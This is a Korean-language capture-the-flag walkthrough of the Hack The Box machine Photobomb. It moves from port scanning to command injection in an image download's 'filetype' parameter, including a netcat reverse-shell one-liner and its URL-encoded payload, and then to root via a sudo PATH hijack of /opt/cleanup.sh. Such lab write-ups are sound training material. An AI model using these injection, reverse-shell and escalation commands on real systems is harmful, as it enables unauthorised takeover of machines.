[Hack The Box] Photobomb 풀이

💡 Hack-The-Box Photobomb 풀이 입니다.

문제

Enumeration

┌──(root㉿kali)-[/home/kali/Desktop]
└─ nmap -sV -p - -vv --min-rate 3000 10.129.228.60
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-19 03:09 EST
Discovered open port 22/tcp on 10.129.228.60
Discovered open port 80/tcp on 10.129.228.60
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 42.79 seconds
           Raw packets sent: 86968 (3.827MB) | Rcvd: 80330 (3.213MB)

HTTP

소스코드를 확인해봅니다.

photobomb.js 스크립트 파일을 살펴보면 다음과 같이 id,pw를 알 수 있습니다.

해당 사이트는 이미지를 다운로드 하는 기능이 존재합니다.

이미지를 다운로드 하기 위해 서버로 보내지는 매개변수들을 조작하기 위해서 burpsuite로 패킷을 잡습니다.

파일의 이름(photo), 확장자(jpg), 해상도(dimensions)를 사용자의 입력값을 통해서 처리합니다.

파일 다운로드 취약점이나, 확장자를 변환해주는 기능이 있기 때문에 OS Command Injection 취약점이 존재하는지 확인해 봅니다.

filetype부분에서 OS Command Injection 취약점이 존재합니다.

filetype값을 다음과 같이 입력하여 reverse shell을 획득합니다.

# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 1234 >/tmp/f
filetype=jpg;rm+%2ftmp%2ff%3bmkfifo+%2ftmp%2ff%3bcat+%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+10.10.14.7+1234+%3e%2ftmp%2ff

Privilege Escalation

(root) : root 권한으로 실행 가능
SETENV : sudo 명령어를 실행하면서 환경변수를 수정가능
NOPASSWD : sudo 명령어를 실행할때, 해당 계정의 비밀번호 필요 x
/opt/cleanup.sh : 해당 파일을 sudo 명령어로 수행가능

/opt/cleanup.sh 파일을 확인해 봅니다.

wizard@photobomb:~/photobomb$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

root 권한으로 위의 쉘 스크립트를 수행합니다. 환경변수를 바꿀 수 있기 때문에 PATH환경변수를 조작하여, find 명령어를 bash로 바꾸어 주면 root 권한 획득이 가능합니다.

cd /tmp
echo "bash" > find
chmod 777 find
sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh